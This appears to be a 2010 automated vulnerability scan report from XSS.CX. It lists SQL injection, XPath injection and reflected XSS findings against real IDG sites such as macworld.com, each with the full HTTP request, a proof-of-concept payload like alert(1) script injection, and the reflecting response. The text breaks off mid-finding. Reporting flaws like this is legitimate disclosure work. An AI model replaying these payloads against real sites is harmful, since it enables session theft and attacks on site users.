XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog
Loading

CWE-79, CWE-89 and CWE-113 Report for IDG Web Properties

Recon and Analysis | 12-16-2010


Loading


Report generated by XSS.CX at Fri Dec 17 08:44:37 CST 2010.


1. SQL injection

2. XPath injection

2.1. http://jobs.macworld.com/ [Referer HTTP header]

2.2. http://jobs.macworld.com/ [User-Agent HTTP header]

2.3. http://jobs.macworld.com/ [name of an arbitrarily supplied request parameter]

3. Cross-site scripting (reflected)

3.1. http://www.linuxworld.com/ [name of an arbitrarily supplied request parameter]

3.2. http://www.macworld.com/appguide/app.html [REST URL parameter 2]

3.3. http://www.macworld.com/appguide/app.html [REST URL parameter 2]

3.4. http://www.macworld.com/appguide/browse.html [REST URL parameter 2]

3.5. http://www.macworld.com/appguide/browse.html [cat parameter]

3.6. http://www.macworld.com/appguide/browse.html [cat parameter]

3.7. http://www.macworld.com/appguide/browse.html [cat parameter]

3.8. http://www.macworld.com/appguide/browse.html [mfr parameter]

3.9. http://www.macworld.com/appguide/browse.html [mfr parameter]

3.10. http://www.macworld.com/appguide/collections.html [REST URL parameter 2]

3.11. http://www.macworld.com/appguide/index.html [' parameter]

3.12. http://www.macworld.com/appguide/index.html ['"--> parameter]

3.13. http://www.macworld.com/appguide/index.html [REST URL parameter 2]

3.14. http://www.macworld.com/appguide/index.html [REST URL parameter 2]

3.15. http://www.macworld.com/appguide/index.html [name of an arbitrarily supplied request parameter]

3.16. http://www.macworld.com/appguide/search.html [REST URL parameter 2]

3.17. http://www.macworld.com/article/156358/2010/12/ipad_superguide_first_edition.html [REST URL parameter 3]

3.18. http://www.macworld.com/article/156358/2010/12/ipad_superguide_first_edition.html [REST URL parameter 4]

3.19. http://www.macworld.com/article/156358/2010/12/ipad_superguide_first_edition.html [REST URL parameter 5]

3.20. http://www.macworld.com/article/156438/2010/12/circusponies_notebook_ios.html [REST URL parameter 3]

3.21. http://www.macworld.com/article/156438/2010/12/circusponies_notebook_ios.html [REST URL parameter 4]

3.22. http://www.macworld.com/article/156438/2010/12/circusponies_notebook_ios.html [REST URL parameter 5]

3.23. http://www.macworld.com/article/156448/2010/12/navigon_mobilenavigator.html [REST URL parameter 3]

3.24. http://www.macworld.com/article/156448/2010/12/navigon_mobilenavigator.html [REST URL parameter 4]

3.25. http://www.macworld.com/article/156448/2010/12/navigon_mobilenavigator.html [REST URL parameter 5]

3.26. http://www.macworld.com/article/156454/2010/12/airfoil4.html [REST URL parameter 3]

3.27. http://www.macworld.com/article/156454/2010/12/airfoil4.html [REST URL parameter 4]

3.28. http://www.macworld.com/article/156454/2010/12/airfoil4.html [REST URL parameter 5]

3.29. http://www.macworld.com/article/156456/2010/12/flipboard_adds_googlereader_array_of_new_features.html [REST URL parameter 3]

3.30. http://www.macworld.com/article/156456/2010/12/flipboard_adds_googlereader_array_of_new_features.html [REST URL parameter 4]

3.31. http://www.macworld.com/article/156456/2010/12/flipboard_adds_googlereader_array_of_new_features.html [REST URL parameter 5]

3.32. http://www.macworld.com/article/156457/2010/12/cptn_holdings.html [REST URL parameter 3]

3.33. http://www.macworld.com/article/156457/2010/12/cptn_holdings.html [REST URL parameter 4]

3.34. http://www.macworld.com/article/156457/2010/12/cptn_holdings.html [REST URL parameter 5]

3.35. http://www.macworld.com/article/156459/2010/12/facebook_photo_tagging.html [REST URL parameter 3]

3.36. http://www.macworld.com/article/156459/2010/12/facebook_photo_tagging.html [REST URL parameter 4]

3.37. http://www.macworld.com/article/156459/2010/12/facebook_photo_tagging.html [REST URL parameter 5]

3.38. http://www.macworld.com/article/156460/2010/12/openfeint_groupon.html [REST URL parameter 3]

3.39. http://www.macworld.com/article/156460/2010/12/openfeint_groupon.html [REST URL parameter 4]

3.40. http://www.macworld.com/article/156460/2010/12/openfeint_groupon.html [REST URL parameter 5]

3.41. http://www.macworld.com/article/156462/2010/12/vimeovideoschool.html [REST URL parameter 3]

3.42. http://www.macworld.com/article/156462/2010/12/vimeovideoschool.html [REST URL parameter 4]

3.43. http://www.macworld.com/article/156462/2010/12/vimeovideoschool.html [REST URL parameter 5]

3.44. http://www.macworld.com/article/156465/2010/12/color_blindness_iphone.html [REST URL parameter 3]

3.45. http://www.macworld.com/article/156465/2010/12/color_blindness_iphone.html [REST URL parameter 4]

3.46. http://www.macworld.com/article/156465/2010/12/color_blindness_iphone.html [REST URL parameter 5]

3.47. http://www.macworld.com/article/156466/2010/12/digital_raw_update_35.html [REST URL parameter 3]

3.48. http://www.macworld.com/article/156466/2010/12/digital_raw_update_35.html [REST URL parameter 4]

3.49. http://www.macworld.com/article/156466/2010/12/digital_raw_update_35.html [REST URL parameter 5]

3.50. http://www.macworld.com/article/156470/2010/12/yahoo.html [REST URL parameter 3]

3.51. http://www.macworld.com/article/156470/2010/12/yahoo.html [REST URL parameter 4]

3.52. http://www.macworld.com/article/156470/2010/12/yahoo.html [REST URL parameter 5]

3.53. http://www.macworld.com/article/156477/2010/12/remains_121610.html [REST URL parameter 3]

3.54. http://www.macworld.com/article/156477/2010/12/remains_121610.html [REST URL parameter 4]

3.55. http://www.macworld.com/article/156477/2010/12/remains_121610.html [REST URL parameter 5]

3.56. http://www.macworld.com/article/156480/2010/12/airport_updates.html [REST URL parameter 3]

3.57. http://www.macworld.com/article/156480/2010/12/airport_updates.html [REST URL parameter 4]

3.58. http://www.macworld.com/article/156480/2010/12/airport_updates.html [REST URL parameter 5]

3.59. http://www.macworld.com/contact.html [REST URL parameter 1]

3.60. http://www.macworld.com/howto.html [REST URL parameter 1]

3.61. http://www.macworld.com/info/copyright.html [REST URL parameter 2]

3.62. http://www.macworld.com/info/press.html [REST URL parameter 2]

3.63. http://www.macworld.com/info/privacy.html [REST URL parameter 2]

3.64. http://www.macworld.com/info/standards.html [REST URL parameter 2]

3.65. http://www.macworld.com/info/tos.html [REST URL parameter 2]

3.66. http://www.macworld.com/myaccount/profile [REST URL parameter 1]

3.67. http://www.macworld.com/myaccount/profile [REST URL parameter 2]

3.68. http://www.macworld.com/news.html [REST URL parameter 1]

3.69. http://www.macworld.com/newsletters/index [REST URL parameter 2]

3.70. http://www.macworld.com/register [REST URL parameter 1]

3.71. http://www.macworld.com/reviews.html [REST URL parameter 1]

3.72. http://www.macworld.com/weblogs.html [REST URL parameter 1]

3.73. http://www.networkworld.com/ [name of an arbitrarily supplied request parameter]

3.74. http://www.linuxworld.com/ [Referer HTTP header]

3.75. http://www.networkworld.com/ [Referer HTTP header]



1. SQL injection  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.macworld.com
Path:   /appguide/browse.html

Issue detail

The tag parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the tag parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

Request 1

GET /appguide/browse.html?tag=pinball' HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response 1

HTTP/1.1 500
Server: Apache-Coyote/1.1
Content-Type: text/html
Date: Fri, 17 Dec 2010 02:17:52 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta htt
...[SNIP]...

Request 2

GET /appguide/browse.html?tag=pinball'' HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response 2

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:17:53 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:17:53 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...

2. XPath injection  previous  next
There are 3 instances of this issue:

Issue background

XPath injection vulnerabilities arise when user-controllable data is incorporated into XPath queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Depending on the purpose for which the vulnerable query is being used, an attacker may be able to exploit an XPath injection flaw to read sensitive application data or interfere with application logic.

Issue remediation

User input should be strictly validated before being incorporated into XPath queries. In most cases, it will be appropriate to accept input containing only short alhanumeric strings. At the very least, input containing any XPath metacharacters such as " ' / @ = * [ ] ( and ) should be rejected.


2.1. http://jobs.macworld.com/ [Referer HTTP header]  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://jobs.macworld.com
Path:   /

Issue detail

The Referer HTTP header appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the Referer HTTP header, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request

GET / HTTP/1.1
Host: jobs.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q='

Response (redirected)

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 17 Dec 2010 02:16:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Set-Cookie: gc=1; expires=Sat, 18-Dec-2010 02:16:29 GMT; path=/
Set-Cookie: sess=ct%3D4d0ac7fd; path=/; domain=jobs.macworld.com
Set-Cookie: sh3=id%3D7212623104d0ac7fd1d1769.64499343%3Brv%3D2f3eddfa%3Bcv%3D2; expires=Sun, 18-Dec-2011 02:16:29 GMT; path=/; domain=jobs.macworld.com
Set-Cookie: sh2=cso%3D4d0ac7fd%3Bslu%3D0%3Bref%3Dsh; expires=Sun, 18-Dec-2011 02:16:29 GMT; path=/; domain=jobs.macworld.com
Set-Cookie: shabts=tg64; expires=Sat, 17-Dec-2011 02:16:31 GMT; path=/; domain=jobs.macworld.com
Set-Cookie: shut=deleted; expires=Thu, 17-Dec-2009 02:16:30 GMT; path=/
Set-Cookie: shmk=deleted; expires=Thu, 17-Dec-2009 02:16:30 GMT; path=/
Set-Cookie: shup=fvt%3D4d0ac7fd%26ncs%3D1%26lst%3D4d0ac7ff; expires=Sun, 16-Jan-2011 02:16:31 GMT; path=/
Cache-Control: no-cache, must-revalidate
Content-Length: 84204

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<title>Jobs -
...[SNIP]...
</strong> 2.0, XSLT, Xpath, ... <strong class="hilite">
...[SNIP]...

2.2. http://jobs.macworld.com/ [User-Agent HTTP header]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://jobs.macworld.com
Path:   /

Issue detail

The User-Agent HTTP header appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the User-Agent HTTP header, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request

GET / HTTP/1.1
Host: jobs.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 17 Dec 2010 02:16:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Set-Cookie: gc=1; expires=Sat, 18-Dec-2010 02:16:25 GMT; path=/
Set-Cookie: sess=ct%3D4d0ac7f9; path=/; domain=jobs.macworld.com
Set-Cookie: sh3=id%3D1500511894d0ac7f9bc8b49.91295743%3Brv%3Dddf9f3e%3Bcv%3D2; expires=Sun, 18-Dec-2011 02:16:25 GMT; path=/; domain=jobs.macworld.com
Set-Cookie: sh2=cso%3D4d0ac7f9%3Bslu%3D0%3Bref%3Dsh; expires=Sun, 18-Dec-2011 02:16:25 GMT; path=/; domain=jobs.macworld.com
Set-Cookie: shabts=tg64; expires=Sat, 17-Dec-2011 02:16:28 GMT; path=/; domain=jobs.macworld.com
Set-Cookie: shut=deleted; expires=Thu, 17-Dec-2009 02:16:27 GMT; path=/
Set-Cookie: shmk=deleted; expires=Thu, 17-Dec-2009 02:16:27 GMT; path=/
Set-Cookie: shup=fvt%3D4d0ac7f9%26ncs%3D1%26lst%3D4d0ac7fc; expires=Sun, 16-Jan-2011 02:16:28 GMT; path=/
Cache-Control: no-cache, must-revalidate
Content-Length: 84204

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<title>Jobs -
...[SNIP]...
</strong> 2.0, XSLT, Xpath, ... <strong class="hilite">
...[SNIP]...

2.3. http://jobs.macworld.com/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://jobs.macworld.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the name of an arbitrarily supplied request parameter, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request

GET /?1'=1 HTTP/1.1
Host: jobs.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 17 Dec 2010 02:16:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Set-Cookie: gc=1; expires=Sat, 18-Dec-2010 02:16:22 GMT; path=/
Set-Cookie: sess=ct%3D4d0ac7f6; path=/; domain=jobs.macworld.com
Set-Cookie: sh3=id%3D18509515884d0ac7f60f7ab7.42925966%3Brv%3D2b0c2b79%3Bcv%3D2; expires=Sun, 18-Dec-2011 02:16:22 GMT; path=/; domain=jobs.macworld.com
Set-Cookie: sh2=cso%3D4d0ac7f6%3Bslu%3D0%3Bref%3Dsh; expires=Sun, 18-Dec-2011 02:16:22 GMT; path=/; domain=jobs.macworld.com
Set-Cookie: shabts=none; expires=Tue, 15-Feb-2011 02:16:24 GMT; path=/; domain=jobs.macworld.com
Set-Cookie: shut=deleted; expires=Thu, 17-Dec-2009 02:16:23 GMT; path=/
Set-Cookie: shmk=deleted; expires=Thu, 17-Dec-2009 02:16:23 GMT; path=/
Set-Cookie: shup=fvt%3D4d0ac7f6%26ncs%3D1%26lst%3D4d0ac7f8; expires=Sun, 16-Jan-2011 02:16:24 GMT; path=/
Cache-Control: no-cache, must-revalidate
Content-Length: 84204

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<title>Jobs -
...[SNIP]...
</strong> 2.0, XSLT, Xpath, ... <strong class="hilite">
...[SNIP]...

3. Cross-site scripting (reflected)  previous
There are 75 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


3.1. http://www.linuxworld.com/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.linuxworld.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 719ec'-alert(1)-'2a98c24cd70 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /?719ec'-alert(1)-'2a98c24cd70=1 HTTP/1.1
Host: www.linuxworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 17 Dec 2010 02:17:31 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: Apache=174.121.222.18.1292552251084674; path=/; expires=Sun, 16-Dec-12 02:17:31 GMT
Accept-Ranges: bytes
Cache-Control: public, max-age=600
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 210587

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...
gtype: 'homepage',
           subtopic: '',
           freemium: 'n',
           nsdr_auth: 'no',
subtopicid: 0,
outerref: '(none)',
nwchannel: 'Network World',
request_uri: '/?719ec'-alert(1)-'2a98c24cd70=1',
doc_uri: '/index.html',
site: 'home',
rxid: '75931',
nodeid: ''    
};
}();
var jq_nodeid = "";
var jq_request_uri = "/?719ec'-alert(1)-'2a
...[SNIP]...

3.2. http://www.macworld.com/appguide/app.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /appguide/app.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bafa2"><script>alert(1)</script>173152b085c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /appguide/app.htmlbafa2"><script>alert(1)</script>173152b085c?id=712263&expand=true HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:18:10 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
<iframe src="http://www.facebook.com/plugins/like.php?href=http://www.macworld.com/appguide/app.htmlbafa2"><script>alert(1)</script>173152b085c&amp;layout=button_count&amp;show_faces=false&amp;width=90px;action=like&amp;font&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true">
...[SNIP]...

3.3. http://www.macworld.com/appguide/app.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /appguide/app.html

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d1648'-alert(1)-'64a1efb658b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /appguide/app.htmld1648'-alert(1)-'64a1efb658b?id=712263&expand=true HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:18:12 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
eadCookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/appguide/app.htmld1648'-alert(1)-'64a1efb658b';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '?id%3D712263%26expand%3Dtrue';
   RememberURI.referer += RememberURI.query;
   document.
...[SNIP]...

3.4. http://www.macworld.com/appguide/browse.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /appguide/browse.html

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6e637'-alert(1)-'d43312ab656 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /appguide/browse.html6e637'-alert(1)-'d43312ab656 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:17:43 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
Cookie('macUserName');
Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;

/* Namespace RememberURI */
var RememberURI = new Object();
RememberURI.referer = '/appguide/browse.html6e637'-alert(1)-'d43312ab656';
if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) {
   RememberURI.query = '';
   RememberURI.referer += RememberURI.query;
   document.cookie = "mw.last_uri=" + es
...[SNIP]...

3.5. http://www.macworld.com/appguide/browse.html [cat parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /appguide/browse.html

Issue detail

The value of the cat request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3a59a'%3balert(1)//7863e1d715 was submitted in the cat parameter. This input was echoed as 3a59a';alert(1)//7863e1d715 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /appguide/browse.html?cat=Books3a59a'%3balert(1)//7863e1d715 HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:17:43 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:17:43 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
seTab(boxName)
{
   if (boxName == 'prodbox')
   {
       hidePopup();
   }
}

function hidePopup()
{
document.getElementById("app_popup").style.display = "none";
}

// selection controls

var category = 'Books3a59a';alert(1)//7863e1d715';


var types = new Array();
var prices = new Array();
var compat = new Array();
var sort = "ratingDesc";
   var sortHolder = document.getElementById("initialSort");
   if (sortHolder != null)
   {
       sort
...[SNIP]...

3.6. http://www.macworld.com/appguide/browse.html [cat parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /appguide/browse.html

Issue detail

The value of the cat request parameter is copied into the HTML document as plain text between tags. The payload 1a991<script>alert(1)</script>f8496fed78a was submitted in the cat parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /appguide/browse.html?cat=Books1a991<script>alert(1)</script>f8496fed78a HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Fri, 17 Dec 2010 02:17:44 GMT
Cache-Control: max-age=60
Content-Type: text/html;charset=UTF-8
Date: Fri, 17 Dec 2010 02:17:43 GMT
Connection: close
Cache-Control: no-store, no-cache
Cache-Control: post-check=0, pre-check=0, false
Pragma: cache differently
Vary: Accept-Encoding


       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js
...[SNIP]...
<span>Books1a991<script>alert(1)</script>f8496fed78a</span>
...[SNIP]...

3.7. http://www.macworld.com/appguide/browse.html [cat parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.macworld.com
Path:   /appguide/browse.html

Issue detail

The value of the cat request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 80c14</script><script>alert(1)</script>3d3d6cba1bf was submitted in the cat parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /appguide/browse.html?cat=Books80c14</script><script>alert(1)</script>3d3d6cba1bf HTTP/1.1
Host: www.macworld.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
